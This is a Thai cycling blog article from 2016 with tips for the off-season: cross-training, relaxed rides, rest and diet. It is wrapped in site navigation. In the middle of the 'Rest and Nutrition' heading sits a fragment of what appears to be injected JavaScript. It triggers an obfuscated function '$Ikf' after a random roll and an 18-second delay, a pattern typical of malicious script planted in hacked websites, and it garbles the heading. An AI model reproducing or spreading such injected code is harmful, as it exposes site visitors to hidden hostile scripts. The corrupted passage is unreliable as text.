• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

จะทำอะไรดี…? สำหรับนักปั่น ช่วง off-season

stepextra by stepextra
14 November 2016
in Cycling Tips, Feature, Tips & Technics
0
นักปั่นหยุดช๊อปปิ้งกลางทาง เติมน้ำ เติมอาหาร อย่างไร
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

เชื่อว่าช่วงปลายปีและต้นปีใหม่ อย่าง เดือนธันวาคมและมกราคม อาจจะเป็นช่วย off-season สำหรับนักปั่นหลายๆ คน ได้เวลาหยุดพักเเละออกไปเที่ยวกับครอบครัว ไปเดินป่า ตั้งเเคมป์ตามอุทยานรับหมอกลมหนาวกัน เเต่สิ่งที่กังวลใจต่อนักปั่น คือ ถ้าเราหยุดไปนานๆ เป็นเดือนอย่างนี้ จะรักษาความฟิตอย่างไร ต้องหยุดนานเเค่ไหน และจะมีวิธีไหนที่ช่วยรักาษาความฟิตให้คงเส้นคงวา หรือไม่ตกลงไปมาก

Cross training

มีกีฬาอยู่ 4 ประเภทที่อยากให้ลองระหว่างช่วง off-season ได้เเก่

  • Trekking/Hiking หรือพูดไทยๆ ก็ไปเดินป่า ไปเดินเที่ยวภูเขา เพราะการได้เดินไต่ระดับความชันจะช่วยฝึกกล้ามเนื้อ Glutes, Quadriceps, Hamstrings, Core, และ Hip muscle ด้วยนะ อากาศก็ดีหายใจได้เต็มปอด ช่วยลดความเครียด เเถมให้ความรู้สึกดีมากๆ เลยเวลาอยู่บนยอดเขา
  • Strength Training ถ้าขี้เกียจไปไกลๆ บ้าน ก็เดินเข้ายิม ฝึกกล้ามเนื้อเลยครับ การฝึกกล้ามเนื้อจะทำให้เราเลือกฝึกกล้ามเนื้อได้ตรงจุดมากๆ
  • Running วิ่งเป็นกีฬาที่อยากให้ลองด้วยนะครับ เพราะการปั่นจักรยานเป็นกีฬาที่ Low impact แต่การวิ่งจะมี impact ซึ่งถ้ารับในปริมาณพอดีๆ จะช่วยเสริมสร้างมวลกระดูกกล้ามเนื้อให้เเข็งเเรงขึ้น
  • Swimming การว่ายน้ำเป็นกีฬาที่ Low impact เหมือนกัน เเละช่วยในเรื่องการฝึกระบบแฮโรบิคของร่างกาย ได้ทั้งกล้ามเนื่อด้วย ที่สำคัญการว่ายน้ำจะช่วยรักษาอาการปวดเมื่อล้ากล้ามเนื้อ นิยมใช้ทำ recovery มาก

cyclist-1537843_1280Enjoy ride

ถึงเเม้จะเป็นช่วง off-season เเต่ก็ไม่ได้หมายความว่าเราจะทิ้งจักรยานโดยสิ้นเชิง ให้ทดลองเอา Bike computer, อุปกรณ์วัดรอบขา วัด Heart rate และวัดความเร็วต่างๆ ออกดู เเล้วไปปั่นกินลมกัน…เน้นว่าปั่นกินลมนะครับ ไม่ใช้ไปปั่นเเบบจริงจัง ปล่อยให้สมองเราได้ relax ไม่ต้องไปกังวลกับการทำสถิติมากนัก เป็นการปั่นเพื่อผ่อนคลายสบายๆ หรือจะลองเปลี่ยนไปปั่นเสือภูเขาดูก็ได้นะ จะได้ลิ้มลองอะไรใหม่ๆ ดูบ้าง แต่ใครที่รู้สึกเสียดายระยะทางที่ทำไว้ อยากสะสมระยะทางใน Strava ก็ลองใช้เเอพในมือถือเปิดเเละใส่กระเป๋าปั่นไปก็ได้ ค่อยควักมาปิดเเอพอีก

Rest andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Nutrition

จุดประสงค์หลักของช่วง off-season คือ การพักผ่อนเเละการฟื้นฟู ให้กล้ามเนื้อได้พักผ่อน ดังนั้นเราจึงควรให้คววามใส่ใจการการพักความกว่าออกไปปั่นนะครับ เเละอย่าลืมระวังเรื่องอาหารการกินด้วย กินมากไประวังอ้วน เพราะช่วงนี้เราออกกำลังน้อยกว่าเดิม

 

 

ShareTweetShare
stepextra

stepextra

Related Posts

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้
Gear News

adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

16 April 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • ปั่นช้าๆ รอบขาต่ำ (Low cadence) มีประโยชน์มากกว่าที่คุณคิด

    0 shares
    Share 0 Tweet 0
  • มือใหม่อยาก วิ่ง 10 กิโล ต้องเริ่มอย่างไรและเรียนรู้อะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • เอาติดข้างฝาไว้นะ..ตารางฝึกวิ่งมาราธอน 8 สัปดาห์

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

16 April 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2022 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.